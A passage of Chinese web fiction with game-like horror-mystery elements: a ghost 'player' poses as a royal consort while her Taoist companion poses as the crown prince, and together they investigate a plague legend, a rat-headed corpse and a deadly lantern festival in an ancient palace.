齐览言简意赅:“死了。”
“死于鼠疫?”
齐览这次没直接把史料搬出来用:“不确定。”
尽信书,则不如无书。
鱼宣确信他们两个在这里干聊历史是分析不出更多的东西了。
她开始挖掘别的信息。
“刚刚的宫人说你舟车劳顿,你是从哪里来的?”
青年想了想:“如果没猜错的话,应该是边境。”
“这时姜王朝的内忧还不明显,外患却已经十分突出。”
“公子穆曾率兵上阵,与外敌对战。”齐览垂眼,“他班师回朝时,姜庄王已死,继妃为朝纲安稳秘不发丧。”
鱼宣眯眼。
既然如此,鼠疫发生最有可能的节点有两个。
一个是十年后。
另一个是现在。
鱼宣觉得“现在”或者已经发生的可能性更大一点。
“你之后要去做什么吗?”
女鬼现在没身份又没实体,想参与到剧情里都做不到,只能从齐览身上入手。
齐览知道她问的是公子穆接下来的行程。
“觐见姜王和继妃。”
姜庄王已死,齐览自然只能见到继妃。
按理说公子穆班师回朝应该先觐见再回住处,奈何正是非常时期。
继妃安排他先到住处休整,也分散一些各方窥探的眼线。
齐览看不见鱼宣,心中总不踏实,后悔没早早找根带子连系她。
鱼宣换了新衣,又重新有衣带可以绑了。
入了龙兴殿,齐览再没有感知到女鬼的动静。
他一步步走到大殿中央,长揖不拜。
继妃而已,又出身平民,公子穆要是行叩拜大礼才奇怪。
高座之上,珠帘之后,人影模模糊糊看不真切。
一道清亮女声传来。
“公子穆,为何不拜?”
熟悉的声线,熟悉的语调,连尾音的上扬都一模一样。
齐览抬头。
这点距离并不影响修行之人的视觉。
隔着一层缀珠纱帘,女鬼那双流光暗藏的眼笑意盈盈。
属于她的身份,正是姜王继妃。
齐览扫视过周围安静犹如装饰的宫人,无可奈何开口唤:“母妃。”
鱼宣装腔作势道:“罢了,你才还朝,正是疲乏的时候,不必拘礼。”
“赐座。”
齐览真庆幸姜庄王死了。
鱼宣本来也想学齐览屏退宫人,但这样也太暧昧了。
先前齐览在外人眼中是独
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自一人,现在他们可是继母和继子。
据齐览所言,姜庄王三十岁时迎娶了十九岁的继妃,而继妃死时三十五岁。
这么说她这个身份如今二十五,正是大好年华。
公子穆应该比继妃小不了多少。
鱼宣可不敢轻易OOC。
齐览很有眼色,主动挑起话头:“此战大捷,母妃尽可安心了。”
大捷还不是要亡国。
鱼宣嘴上应付道:“你没有辜负王上的看重。”
齐览半垂下眼:“母妃,我去看看父王,此番收缴的战利品稍后会上奏禀报。”
鱼宣:“……你有心了,去吧。”
你知道在哪吗你就去?
不过,战利品这件事齐览之前没说。
NPC在暗示她?
女鬼盯着齐览头也不回离去的背影看了一会儿,随后也起身。
她回头打量左右两边长得一模一样的宫人,终于瞟见她们腰间玉牌。
“宴定,瑕介,随我去库房。”
这位继妃确实掌握了一些实权。
鱼宣看着忙不迭来给她开库房的宫人,已经完全不羡慕齐览的身份。
算起来他们虽然年龄相仿,继妃的辈分还要压公子穆一头。
库房充盈,全无亡国之兆。
金银玉器琳琅满目,到了要用的时候却没一件能顶事的。
鼠疫。
在这时代是比火药杀伤力还要大的灾祸。
鱼宣轻轻侧头。
宴定上前问:“大公子此次收缴的战利品在何处?”
库房管事宫人为鱼宣引路。
“物品:兽首形铜面具——状若鼠首,色泽暗金。”
又是鼠。
姜王都与鼠颇有缘分啊。
鱼宣伸手指了指:“就这个了。”
其他战利品都是战甲刀枪、黄金白银之类。还有些战马重车不便搬动的,留了一部分在边境,还有的都安置在城郊兵营。
鱼宣一边听宫人介绍,一边绕着库房走了一圈,没别的发现。
她吩咐:“之后大公子会来这里,让他也挑点趁手中意的。”
NPC没有武器怎么行呢?
玩家要学会适当躺平,给NPC成长的空间。
女鬼自顾自转身走出库房大门,宴定紧跟其后,瑕介让人把那副铜面具取出匣封好带上。
继妃的中安宫就在龙兴殿不远处,离东明殿却有一段距离。
鱼宣让宫人都候在外面,照例把能翻的地方都翻了一遍。
这地方太大。
女鬼才地毯式搜寻完宫殿的一角,齐览就来了。
“大公子到——”
没有鱼宣的允许,宫人们不会进来。
一声通报过后,齐览掀起半挂珠帘踏进殿内。
这次他行礼规规矩矩。
“母妃安康。”
鱼宣:……
其实她之前就是随口一说,不是一定要齐览跪拜她。
四下无旁人,NPC明显是在故意作弄。
鱼宣皮笑肉不笑:“起来吧,大公子。”
齐览不是专程来同她玩笑的。
“鼠疫的来源有两种说法。”
“一是公子穆所携物品中混有病源,”齐览顿了顿,继续道,“二是姜王继妃为鼠类精怪,她死后异变引发疫病。”
如果是唯物世界观,鱼宣肯定现在就把铜面具和库房都点火烧了。
但现在不仅可能要烧东西,还得考虑要不要把自己也祭天。
24. 第 24 章
鱼宣正发愁,齐览却隔空点了点她眉心。
女鬼困惑。
“做什么?”
青年道长目光探究又专注:“这里有个印纹。”
不知道NPC突然说这么一句有什么用意,鱼宣抬手摸了摸眉心。
有异物感。
“是花钿,”鱼宣放下手,“齐大人想要细看的话去妆匣里找找看吧。”
齐览真的往堆放着首饰盒子的桃木柜子去了。
只不过他挑出来的是一面铜镜。
女鬼眼睁睁看着NPC一顿忙活,最后端着铜镜到自己面前。
她凑过去照了照。
金粉钿。
齐览低头看她:“金银辟邪,你可有不适?”
鱼宣摇头。
她觉得齐览的担心纯多余。
怎么说她现在也恢复七成,这点剂量的金粉刮痧都不够。
齐览皱眉,伸手想擦下花钿。
鱼宣被蹭得眉心红了一块,花钿完好如初。
她也察觉不对。
女鬼警惕问道:“你们道门有什么作用在金粉上的术法吗?”
齐览再三尝试无果,只好暂时放弃。
他想了想:“很多。”
鱼宣:……
人人喊打的灵异是这样的。
这也说明姜王都时期就已经有灵异出没了。
鱼宣想起正事来:“你去过库房了吗?”
“没有。”
女鬼不自在地又摸了摸金粉钿:“那你是怎么知道战利品的事的?”
齐览别开眼:“我只是想起鼠疫病源的说法。”
其实他一开始就记得,只是没说。
毕竟那时女鬼看不见摸不着,要是让她对继妃产生好奇心,他拦也拦不住。
“哦。”
鱼宣不想多琢磨NPC的心思。
反正他该往外倒的话总藏不住。
“既然有现成的,你就去看看吧,”女鬼准备赶人,“有个刀枪棍棒的,总比空手好。”
齐览没动,平静丢出一个信息:“东明殿有兵器库。”
鱼宣缓缓转头盯住他。
“兵器库?”
有个收藏架或者小库房什么的还好理解。
但是齐览居然说公子穆在王宫里公然建了一个兵器库?
青年颔首。
鱼宣决定先按自己的思路问:“里面有趁手的吗?”
齐览点头,又摇头。
女鬼露出一个危险的笑:“张嘴说话。”
NPC的谜语人属性与日俱增,这样下去不行,必须及时矫正。
青年道长努力措辞:“我都会用,与修道无关。”
会打架,纯技术无附魔的那种。
鱼宣明白了。
“那也行,”女鬼对NPC的全能程度又有了新的认识,“不过最好还是找点符合你身份的。”
灵异世界观靠肉搏是行不通的。
齐览乖乖应下:“我之后会去库房。”
NPC最省心的就是这点:听劝。
鱼宣话锋一转:“但是话又说回来,武器库里有什么?”
齐览认真思考,精炼总结:“……武器。”
女鬼眼神阴森森。
“还有奏章,内容我没来得及细看,”青年慢半拍地吐出下文,“共计一千六百四十一卷,都出自公子穆之手。”
数量惊人。
即使每日一卷,也要四年半多的时间。
鱼宣暗暗记下。
她还没有忘记齐览之前请离的理由。
“你见到姜庄王了吗?”
齐览的视线又开始游移:“没有。”
看他的样子就是有情况。
NPC的语言系统一直不太发达,鱼宣自我调节了一下,又问:“是没有见到,还是没有去见?”
青年现在的形象是披发,衣袍也遵循古制,色彩十分浓重。
更衬出他白玉般的容颜。
听了前半句,青年的头已经低垂下去,额发细细碎碎散在视野中。
女鬼等了半天没等来答复,疑心NPC卡了。
她探头过去。
“鱼宣。”
女鬼狠狠拧眉。
每次听NPC喊她心里都一咯噔。
“跟我到东明殿去看看那些奏章,好吗?”
鱼宣:……
这么大阵仗就为这个?
“其实,我觉得,”女鬼面无表情道,“我应该看不懂。”
一路看过来的文字在她眼里没几个能认得出的,像小人跳舞简笔画,简直是全障碍阅读。
鱼宣突然觉得自己好像抓住了关键。
“姜庄王在东明殿?”
齐览挣扎了一下,还是如实交代:“是。”
女鬼有种不祥的预感:“……你干什么了?”
青年道长答非所问:“他起尸了。”
鱼宣瞪眼:“你把他按回去了?”
“……是。”
女鬼现在就是后悔,非常后悔。
为什么她一开始没有好好地把东明殿翻找一遍?
鱼宣迅速起身:“带我去看看。”
说起来这事也不能怪齐览。
他一个道士,遇到起尸的第一反应只是按回去已经很收敛了。
齐览记得,鱼宣一直对这些突发情况非常看重。
如果这是她醒来行走世间的缘由,却被他随手破坏,齐览根本不敢想。
这也是他顾不得看奏章,尽管心虚得不行还要抓紧时间赶过来的原因。
鱼宣对于NPC破坏进度并不太担心。
如果这种剧情范围外的情况要玩家承担,那研究院这个课题也别干了。
她是玩家又不是幼师,还得把NPC当小孩看着吗?
只能说姜庄王命中有此一劫。
鱼宣主要担心自己没在现场,错过一些只可意会的细节。
女鬼身形忽然顿住。
“玩家当前处于特殊地图,增益效果暂不可使用。”
隐匿开不了了。
也对,毕竟在这个副本里,继妃和公子穆都是实实在在存在的人物。
一旦她开隐匿,就会出现角色空缺和逻辑混乱,这是剧本杀的大忌。
那作为姜王继妃,她要怎么合理地去东明殿坐坐呢?
鱼宣目光落到一旁也站起来准备引路的齐览身上。
青年这下难得机灵。
他扬声道:“还请母妃移驾。”
是了,不需要理由。
王室尊荣,所过之处,宫人连抬头都算逾矩。
姜庄王死了,权力目前看来是握在继妃手里,公子穆又刚刚凯旋。
王权与军权都在手里。
只要他们大大方方的,旁人只有怀疑自己的份儿。
走过候在殿外的宫人时,齐览放慢脚步。
他轻飘飘留下一句吩咐:“母妃今日在东明殿用膳。”
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>两个宫人当即领命下去。
膳食规制之间也是有区别的,如果出了岔子,即便主子不怪罪,管事宫人也要一层一层往下罚。
在灵异还未猖獗的时候,王权就是最大的规矩。
天家贵胄,不是说说而已。
中安宫到东明殿有一段可观的距离,其实鱼宣想坐步辇。
但鬼时候还好,有了实体只怕一颠一颠的头晕。
鱼宣晕各种交通工具。
更何况她才错过一个剧情现场。
女鬼痛定思痛,决定把沿路的一草一木都刻印到脑子里。
她还是低估了姜王宫。
真正一步一步度量起来,鱼宣又犯起懒来。
好在视物没了重点,反而能有发现。
“那是什么?”
宴定答:“娘娘,是梨树。”
对于NPC的人机鱼宣已经习惯。
她耐心地追问:“树上挂着的呢?”
“是朱砂无事牌。”
朱砂红绳缠梨树。
齐览很熟悉这几样东西。
桃木,梨木,金粉,玉器,朱砂,红绳。
还有。
姜庄王棺材的檀木。
全是辟邪物。
齐览的注意力被吸引过去,鱼宣却反应平平,转头看向别处。
王宫建筑太古朴厚重,比起活人更适合灵异。
叫不上名字的景观绿植被妥善安置在各个方位,令人赏心悦目。
鱼宣却没心思流连。
隐匿不能用,女鬼的安全感一下子被削弱了大半。
这下空闲,她开始翻系统面板。
方逢玉信守承诺,在鱼宣去看望哑女的时候把她要的东西尽数奉上。
“济灵丹(仿制品)——六道通用,童叟无欺。每枚使用后回血10/100,无使用上限。”
有八枚,几乎相当于秽土转生了。
真是出手大方。
另外还剩其他零零散散的丹药。
鱼宣目光在中药包上停留了一会儿。
其实她觉得NPC很需要这个。
齐览一路奔波不带停的,还隔三差五地逞能干仗,女鬼都替他操心。
等什么时候歇下来就给他一天三顿地熬上。
不过目前更重要的是,鱼宣发现了一个多出来的装备。
“物品:玄机剑(阴杀淬炼版)——至阴至寒,诛神灭煞。”
至阴至寒。
简直是为女鬼量身定制的宝贝。
玄机剑没落下已经是意外之喜,结果还去除了负面效果。
这下鱼宣不可能把它让给齐览用了。
NPC是道士,而且是个大活人,与其用着这把剑折寿不如自己寻出路。
而玩家要考虑的可就多了。
女鬼笑纳了玄机剑,翻回去再看一眼面板上70%的灵力,觉得自己又行了。
鱼宣的精神劲儿太外放,落在她身后半步的齐览本来视线就追随她,轻易就锁定她的变化。
他提醒:“母妃,就快到了。”
整个王宫里,不仅有王权的忠仆,还有无数暗中窥探的眼睛。
女鬼的表现太容易被猜透,就会变成一个风向标。
那会引来更多杂乱的注目。
对手方明牌的局,谁都想进来分一杯羹。
齐览不希望鱼宣被那么多不怀好意的目光关注。
即使那是针对“继妃”这个身份,而非鱼宣本身。
25. 第 25 章
灵异在不属于自己的躯壳里常常受到掣肘。
齐览很担心这一点。
宴定和瑕介候在殿外。
鱼宣跟着齐览直奔他说的武器库。
女鬼对NPC的保守已经有心理准备,所以在看见眼前的地宫时并没有过多意外。
“这不是武器库,齐大人,”鱼宣纠正,“这是地下车库。”
齐览困惑:“这里虽然有战车,但不多,更多的是各类刀器剑器,还有就是奏章书简。”
女鬼的抖机灵没有人懂。
鱼宣若无其事地绕过齐览,近距离观察地宫最外层的兵械。
除了上面的字符难认以外,没什么特别的。
再往里就是堆放奏章的石室。
姜庄王的棺椁在最里面。
鱼宣只能看到一副漆纹彩绘的巨大外棺。
这里三层外三层的棺椁都快两人高了,不像是能起尸的样子。
齐览默默牵引她来到主棺另一边。
有一副陪葬棺。
这副棺椁就小得多,而且外棺不知去向,徒留一个内胆。
鱼宣发出疑问:“姜庄王躺陪葬棺?”
这又是哪个天才干出来的事?
齐览已经看过一遍,这时显得接受度很高。
他平静道:“也不全是。”
鱼宣很快就知道什么叫做“也不全是”。
陪葬棺里是一具无头尸。
和一颗硕大的白毛鼠首。
“当前进度:21%(剧情探索达到60%将解锁支线)”
怪不得齐览说“没有见到”。
这确实连个照面也没打上啊。
关于鱼宣为什么断定这两部分来处不同,主要是因为脖颈上的裂口完全对不上。
女鬼摸了摸尸身衣服的布料,再看上面栩栩如生的五爪金龙纹,还是有所怀疑。
“你怎么断定他是姜庄王?”
青年抬手,指尖血线延伸与尸身相连。
“亲缘线。”
鱼宣咂舌,暗暗感慨你们道士学得真杂。
女鬼犀利发问:“那能用亲缘线找到他的脑袋吗?”
齐览摇头:“试过了,有外力阻隔。”
外力。
能有什么外力?
鱼宣视线游移到一旁的主棺。
齐览一看就知道她想做什么。
“开棺不可行。”
女鬼当然知道现在去开这个BOSS盲盒为时尚早。
一个陪葬棺都能起尸,主棺里还不知道是什么东西。
她也没有急着返回去翻看奏章,而是在主墓室探索起来。
这里是剧情点发生地,又疑似BOSS出生点,总该有点线索吧。
鱼宣才开始摸墙上的砖缝,齐览就提醒:“陪葬棺底有个地门。”
她给青年道长一个赞赏的眼神。
高自主能动性的NPC简直就是推本小助手。
地门门栓就在棺身下侧,打开得很丝滑。
棺材有隔层,下方空荡荡,也省了纠结把姜庄王往哪放的问题。
鱼宣打开面板看一眼时间,又把门栓插了回去。
她拍拍手站起身来。
青年不明所以地蹲在旁边:“有蹊跷吗?”
女鬼严肃道:“酉时了。”
齐览一愣,很快反应过来。
他们来之前吩咐过宫人,要在东明殿用膳。
到饭点了,齐览没有饿。
说明这里虽然也无活人,但与桃源镇相比还是有所不同。
更浮于表面。
可是在姜庄王起尸的时候,他就已经开过天眼,并没有发现幻阵之类的灵力波动。
他们离开地宫后不到一刻钟,就传来宴定的声音:“娘娘,是否传膳?”
得到肯定的答复,一串端着木案的宫人鱼贯而入。
王宫的膳食果真讲究,摆盘无处不美,鱼宣也算见识了什么叫萝卜雕花。
宫人们退下,宴定站在鱼宣身边为她布菜。
女鬼还从未享受过这样的待遇,动作顿了一下。
但饭都到嘴边了,鱼宣调整得很快,从善如流地开吃。
有外人在,一人一鬼将食不言贯彻到底。
太精致的菜品反而削减了人的食欲。
而且鱼宣失去了选菜的自由,只能有什么吃什么。
宴定非常照顾她的营养均衡,而且严格控制摄入,每道菜取的量都看不出差别。
她很快放下筷子。
“把这些撤了吧。”
女鬼难得在饭后兴致缺缺,丧气得格外明显。
齐览抬眼,就要起身。
有宫人进来收拾整理。
青年不自在地把重心落回去,随口吩咐:“都下去吧。”
他指的是宴定。
然而面容清丽的女官一动不动,对他的话置若罔闻。
齐览等了半天,发现这位女官确实没有要搭理他的意思。
他看向鱼宣。
鱼宣也不太理解。
就算宴定看人下菜碟,也不至于把冷眼往公子穆身上搁。
她开口:“宴定。”
女官拢袖垂首:“娘娘有何吩咐?”
之前用膳时,宴定只唤继妃,而忽略公子穆,这显然是不合规矩的。
现在又对他的指示毫无反应。
还真是刻意无视了公子穆啊。
这时正好其他收拾桌面的宫人都走了,鱼宣顺势道:“你也出去吧。”
宴定这次很听话,行过礼走了出去。
鱼宣边往地宫入口去,边问:“公子穆口碑如何?”
“史书记载,公子穆温良恭俭,不世之才。”
女鬼伸手去触发地宫门机关,捧场道:“那很好了。”
“也有传闻,”齐览立在鱼宣身侧,淡淡道,“公子穆以下犯上,谋夺宫妃。”
鱼宣一下子被吸引:“哪位宫妃?”
说起来她还没有到王宫里串过门呢。
不过按这形势,人家都得躲着她。
现在对外称姜庄王宣病不出,只有继妃一人得见,除了有意打听的可能会往她跟前凑,其余都躲在各自宫殿里闭门谢客了。
青年闷声回答:“不知道。”
野史哪里会讲得那么详细。
为防变故,他们离开时把陪葬棺重新封好了。
现在的任务是从地门进去。
沿路有夜明珠,仅能勉强视物。
好在一人一鬼的目力都非常人所能及,在昏暗地道里行进也没有视野受阻的困扰。
鱼宣先一步重见天日,回身给齐览搭了把手。
地道的尽头是一座假山。
假山坐落于一处府邸的后花园。
是府邸,而非王宫。
这里虽然也雕梁画栋,但只能算高门权贵,还攀不上王宫的规制。
鱼宣有些小兴奋:“我们出王宫了。”
看来这次的地图会更大。
不过谁家好人家里通墓室啊?
女鬼四周张望,除了园林式的假山廊亭小月门外,就是花花草草。
齐览拉着她闪进
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假山后。
有脚步声。
来人似有迟疑:“……大公子?”
是一道浑厚中带哑的男声,听起来上了些年纪。
鱼宣胳膊肘捅了下身后紧贴着她的青年。
找你呢。
齐览走出。
“大公子才回王都,就来看望,”两鬓微霜的老者恭恭敬敬躬身行礼,“臣不胜惶恐。”
齐览不知道对方身份,只能含糊道:“此行有要事。”
青年的低情商发言令对方脸上的动容凝滞。
不过这位显然见惯风浪,很稳重地让开一步。
“既如此,大公子先行。”
齐览视线扫过对方始终恭谨低垂的眼,动作迅速地把鱼宣捞进怀里,把她脸按在胸口,疾步离开。
珠钗作响,宫装明艳。
女子的身份呼之欲出。
立在原地的老者眼部肌肉抖了抖。
如果他没有记错,今日大事确有一件。
——王都灯花宴。
齐览拥着鱼宣一路过了几道小月门,终于从一处侧门出了府邸。
门外是一条小巷,两方通行。
一人一鬼不约而同地停住,正准备挑个方向赌命的时候,气喘吁吁的侍从终于追上他们。
“二位,老爷说今日街市热闹,还请换身常服再去游览。”
鱼宣走到大街上的时候,才真切明白换衣服的必要。
周围人群来来往往,有锦衣玉带的少爷小姐,有粗布麻衣的平民百姓。
不管什么样,总没有一个显眼包穿宫装的。
出来的时候,鱼宣专门绕到正门去看了一眼牌匾。
秦府。
齐览适时解说:“姜庄王原配王妃出身秦氏。”
鱼宣在脑内换算亲缘关系,后知后觉:“刚才的,是你外公啊。”
“秦津,官任太傅。”
也就是姜庄王的老师。
鱼宣还以为那是公子穆的私宅或者幕僚的府邸。
女鬼闭上眼。
“你就这么当着长辈的面,抱着宫妃出来?”
公子穆的温良恭俭目前还待考证,谋夺宫妃的人设倒是彻底坐实了。
齐览狡辩:“我与秦津先君臣后亲故,他无权置喙。”
学会偷换概念的NPC变得牙尖嘴利起来。
鱼宣无语凝噎。
世俗教化防君子不防小人。
你以为野史哪里来的呢大公子?
不过秦津既然有心替他们遮掩,应当也不会刻意宣扬。
天色已经暗下来,人也越来越多。
鱼宣在熙熙攘攘的街道上被挤得只能顺着人群流动。
她想找缝隙钻出去,无果。
女鬼看一眼又扯上衣带的NPC,心想这会儿可不适合干这事儿。
万一被人挤一下没收力,她衣带都要被抽走。
趁着两人还没被分散,鱼宣伸手。
齐览感到自己手腕一紧。
女鬼一手扣住他的腕,一手试图把衣带从他手里解救出来。
青年眨眨眼,以为她是单纯地不想让他牵扯着,于是松了手。
他其实有自信不会跟丢她。
但连隔着衣料的接触也不肯,难免让齐览情绪低落。
眉眼还没来得及耷拉下去,齐览腕间的那只手已经带着他往前走。
鱼宣在人群中艰难开路,完全没有回头的空闲。
青年久久注视身前人一无所觉的背影。
他无意识地展出一个笑,眼中被街灯照出细碎的光。
26. 第 26 章
一人一鬼终于被攒动的人群吐出,在街角得到喘息的空间。
鱼宣郁闷又不解:“戌时正是吃过饭在家里消化的时候吧。”
不是说古人入夜后就闭门不出,早早睡觉了吗?
齐览换衣快,早一步出来被秦津逮住念了一段,这时就派上用场。
“今日有灯花宴。”
“旧朝传说,姜武王时曾得神女相助,使姜王朝从雄踞一方走向问鼎天下,”齐览简明扼要地给鱼宣科普,“在姜武王的统治下,王朝空前鼎盛,神女也回归天宫。”
“为纪念和感恩神女的功德,姜武王在各地建神庙、兴祭祀,并定每年今日在王都设灯花宴,祈福祈愿。”
鱼宣一向最喜欢故事背景环节,听得津津有味。
“灯花宴对神女有什么好处吗?”
齐览:“……没有。”
神庙和祭祀姑且算是贡献了信仰,灯花宴就几乎是娱民活动了。
但时间正赶巧,鱼宣不会把灯花宴当做一个纯粹的娱乐项目。
她侧过头问:“要逛逛吗?”
完全是象征性的问询。
齐览没有不答应的道理。
所谓灯花宴,顾名思义,主角当然就是各式造型的花灯。
花灯不拘于花的外表,更不拘于形式。有纸糊提灯,也有竹编河灯。
今夜无宵禁。
要逛,就得在人群里穿梭。
鱼宣很自然就扒杆子似的扒着齐览的胳膊沿街边走。
贴近点,总不会被拆开了吧。
好在王都的道路规划还不错,走过这一小段路,后面就宽敞很多,人群也四散开来。
女鬼松开身边人,扩大自己的行动范围。
她已经深刻了解并深入开发了NPC的跟宠功能,完全不担心他走丢。
倒是齐览当即绷起神经。
人与人之间是没那么拥挤了,但不代表人少。
鱼宣才走出几步,齐览眼前就移过几轮身影。
终于等她再停住,是在一个卖彩绘纸灯的摊子前。
女鬼拎起一个冒尖的粮仓造型提灯问价钱。
但最终她也不明白摊主给出的开价,干脆从头上拔下一支金簪。
金簪被青年的手拦截,换了银子给过去。
“物品:粮仓提灯——硕鼠硕鼠,无食我黍。”
到手了。
鱼宣不好在大街上凭空把提灯塞进系统面板,于是就这样拿在手里。
无论是继妃还是公子穆,手里都不会有散钱,齐览现在用的是秦津准备的碎银。
即使这样也还需要找零。
齐览接个钱的功夫,女鬼就没了踪影。
人影重重,青年在河边桥下找到她。
桥头挂着的莲花灯下缀着飘带,河中各式彩灯有如萤火集聚。
女鬼若有所觉,抬眼与他对视。
飘带随风起又落,划过她在灯下愈加艳丽的容颜。
朦胧见,鬼灯一线。
露出桃花面。
她笑道:“齐大人,你找到我了。”
青年喉头滚动,一声轻得听不清的回应散在风中。
在鱼宣的视角里,NPC神色不明地从暗处走近,一言不发地杵在自己身边没动静。
鱼宣:?
四舍五入也算过节了,他现在算是带薪度假,怎么没点高兴样?
她侧身让了让。
“齐大人,入乡随俗,”女鬼将挡在袖中的白鹤河灯捧出来,“你也该与民同乐。”
面对被灵异拉入陌生环境的情况,齐览怎么也想不到会有人劝说自己入乡随俗。
但想到鱼宣就是灵异,事情又变得合理起来。
青年接过河灯。
鱼宣摸出通行笔给他。
女鬼眼中是他的倒影:“齐大人有什么愿望吗?”
齐览没回应,笔尖与灯面隔了一小段距离。
他迟迟没下笔。
鱼宣本意就是给NPC找点事做,她才到河边,还没细看,想着说不定深度参与一下能出现一些化学反应,于是就近在一个摊子上买了这盏河灯。
这次女鬼学聪明了点,没直接拿簪子换。
她跟老板赊了账。
反正齐览会找来,她在这儿又不走远,老板答应得很爽快。
在青年陷入待机状态的时候,鱼宣已经从他身上摘了荷包去找老板付钱了。
她一去一回耗了小半刻钟,见齐览还直愣愣站着,就要凑过去看。
齐览反应极快地把灯转了个面。
看来是把祈愿内容写好了,没一直走神。
鱼宣无意窥探NPC的内心小世界,把视线转到河面上。
“齐大人既然写好了,就放它去吧。”
祈愿这种东西,全凭心理安慰,写上去的大多都是水中月镜中花。
但凡伸手就能够到的,也不必托付于神。
白鹤慢悠悠飘进鱼宣的视野,很灵性地转了半圈,把题字的一面展现出来。
女鬼眨眨眼。
这可不关她的事啊。
白鹤河灯慢慢飘到水中央,与其他浮在水面上的河灯簇拥在一起。
像是抽真空袋一样,原本松松散散各自安好的河灯被无形的吸力聚集得越来越紧密。
眼见着一只上书“良缘永结”的饼形河灯被挤压变形彻底散架,鱼宣耳边响起突兀又沉闷的声音。
是什么东西砸在了地面上。
鱼宣循声望去。
一男一女齐齐断头,尸首分离地倒在不远处。
良缘是不可能永结的,毕竟人有生老病死。
但变成鬼就不一样了。
女鬼恍然大悟:“神女灵验了。”
虽然这灵验的方式有点不同寻常。
“当前进度:22%(剧情探索达到60%将解锁支线)”
齐览对女鬼的好心态见惯,把笔交还给她,准备上前去查看。
鱼宣抬手拦住他。
NPC爱往前面冲是好事,在打架的时候可以抗伤害。
但送死就太不值当了。
齐览看向她,眼神无声问询。
女鬼叹气:“我们先救救你的祈愿吧。”
灵验归灵验,谁也不会希望自己的心愿以这种偏激的方式实现的。
白鹤河灯是最后放进去的,在最外沿,受的苦难要少一些。
鱼宣袖中金线飞出,把还算完整的河灯都打包捆住拉上岸。
在他们面前出事的目前还没有其他人。
也许是因为祈愿内容,也许是因为人已经走远了。
白鹤河灯里的骨架是可折叠的,只是被压缩成纸片,比起其他支离破碎的河灯算是留了个全
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尸。
还好齐览许的不是什么长命百岁的愿。
不然被这么一压缩,都不剩几年好活了。
河中剩余残骸还在不断聚合。
鱼宣脑子里炸起尖锐的“吱吱”叫声。
女鬼被吵得头疼,很快找到恼人的元凶。
是粮仓提灯。
鱼宣借着长袖掩盖,把它从面板里掏出来。
原本全靠微弱灯火照明的提灯,这时光亮剧烈闪烁颤动。
女鬼若有所思。
粮仓啊。
怎么不算一个大型捕鼠笼呢?
不过老鼠可不会水。
河中支离破碎的残骸终于彻底被吞噬干净,
鱼宣换了只手提灯,又拿出玄机剑握在手中。
这次不用偷偷摸摸,因为周围来往的行人连同方才的一对断头璧人全都不见,没有谁会关注她从哪里掏出一把剑。
女鬼盯着形成漩涡的水面,觉得一个副本两BOSS还是有点流氓了。
除非。
东明殿地下的主棺只是个空壳。
见过了鼠首人身,鱼宣做足了看到一个人头鼠身BOSS的心理准备。
然而没有。
漩涡逐渐扩大,最终也没有出现什么灵异,只浮现一道通往未知的阶梯。
这个副本地下室真多。
鱼宣伸手拉过处于戒备状态的齐览,踏上台阶。
木阶层层,深不见底,又没有扶手,鱼宣走了一会儿怕摔,躲懒开了自动跟随。
这时她才分出神去观察周围。
左右都是被漩涡分开的水,一人一鬼却没受到半点波及。
台阶格外精雕细琢,每一层正面都刻画了图案和文字。
文字看不懂,但仅凭图案也能明白个大概。
图文中讲述的,正是姜武王与神女的故事。
听书和看绘本是两种风味。
尽管从齐览口中了解过,鱼宣也不免被吸引。
主要原因在齐览,他完全没有讲故事的自觉,没有感情全是重点。
内容来到尾声,神女回归天宫。
一人一鬼也走到台阶的尽头。
挡在两人面前的是一座庙。
朱红门面柱,彩纹青瓦檐,大门两旁各立一座仙鹤石像。
是神女庙。
通常为表敬意,神庙都会修筑在高地。
姜武王是别出心裁,还是另有打算呢?
越是到了昏暗的地方,一点微弱的光都扎眼。
整座神女庙从外观上来看完全没有照明措施,连灯笼都荒废它们原本的用途,只做装饰。
鱼宣手中的提灯就是他们如今拥有的绝大部分光源。
提灯在他们踏入阶梯范围时就稳定下来,暖黄的光给这幽暗环境的造访者带来些许慰藉。
大门足足有两人多高,带着挥之不去的诡异又气派的厚重感。
鱼宣上前抓住门环扣了三下门。
寂静中,每一下碰撞声都格外清晰。
她松手的下一刻,稍显稚嫩的雌雄莫辨少年音从四面八方传来,附着空灵的回声混响。
“来者何人?”
一直静静跟随的齐览上前一步,在鱼宣身旁站定。
他开口答道:“姜王妃曲燕留,姜王长子周穆,今逢灯花盛宴,人间佳节,特来神女庙拜见。”
27. 第 27 章
鱼宣第一次从齐览口中听到继妃和公子穆的全名。
NPC的活人感真的不如她一个女鬼。
鱼宣决定回去以后一定要向研究院要求整改这种挤牙膏式的给线索方式。
这时那道声音又响起。
“二位请进。”
面前大门徐徐打开,门内立着一个髽髻宽袍的童子。
童子向他们微微躬身作揖:“神女有令,请随我来。”
鱼宣与齐览对视一眼。
一人一鬼跟在童子身后,绕过前殿,经过回廊,到一座稍显简陋的殿室前。
其实神女庙中建筑调性一致,就没有不华美的。
说它简陋,只是因为规模没有那么大。
童子在门前停住,侧身让开。
“就是这里了。”
鱼宣注视那道紧闭的门,回想一路上汲取的信息。
以殿室中人确是神女为前提进行推论。
神女回归天宫,这一条为假。
而如果姜武王与神女的故事不是传说,只是最后他留住了神女,那么他都能留住神女了,怎么不想办法给自己争取长生呢?
最重要的一点:神女是否自愿?
方才童子对他们的造访并不意外,得知身份后放行很快。
或许自姜武王始,历代王室都会来这里。
这种事,应该在历史上有记录才对。
鱼宣看向齐览,对他无声谴责。
青年却会错了意,当即上前去叩门。
门应声开启。
一座金身神像正对他们。
室内有烛火,隔着蒲团和供桌,一座高大的金身神像庄严而立。
神女慈悲的眼半垂,身披霓裳,彩缎欲飞。
鱼宣仰头对上那双狭长凤眼。
这座金像,神性几乎满溢。
却没有神留驻。
“物品:神女像——金装玉裹衣绣裳。若问显灵处,不是此方。”
没有神对于女鬼来说是个好消息。
鱼宣抬脚跨过门槛,齐览紧随其后。
童子没有跟进来。
女鬼在蒲团前犹豫:“我们要拜拜吗?”
“不知来由的神也敢拜?”
齐览估摸这女鬼生前没吃过灵异的苦头,对所谓的神女没有戒备就算了,还想参拜。
鱼宣理不直气也壮:“你也说我们是来拜见的啊。”
门又没关,童子在门口守着呢。
不过鱼宣也已经打消了拜神的念头。
拜见拜见,总得当面一见。
正主都没露面,一个神像又不能搬走卖钱,不挖出点别的线索,此行未免太冤。
女鬼回头看一眼门外。
童子拢袖低眉,并不对两位来客的后续行动投之关注。
一看就是个勤勤恳恳的地图引路NPC,没有暴走开大的风险。
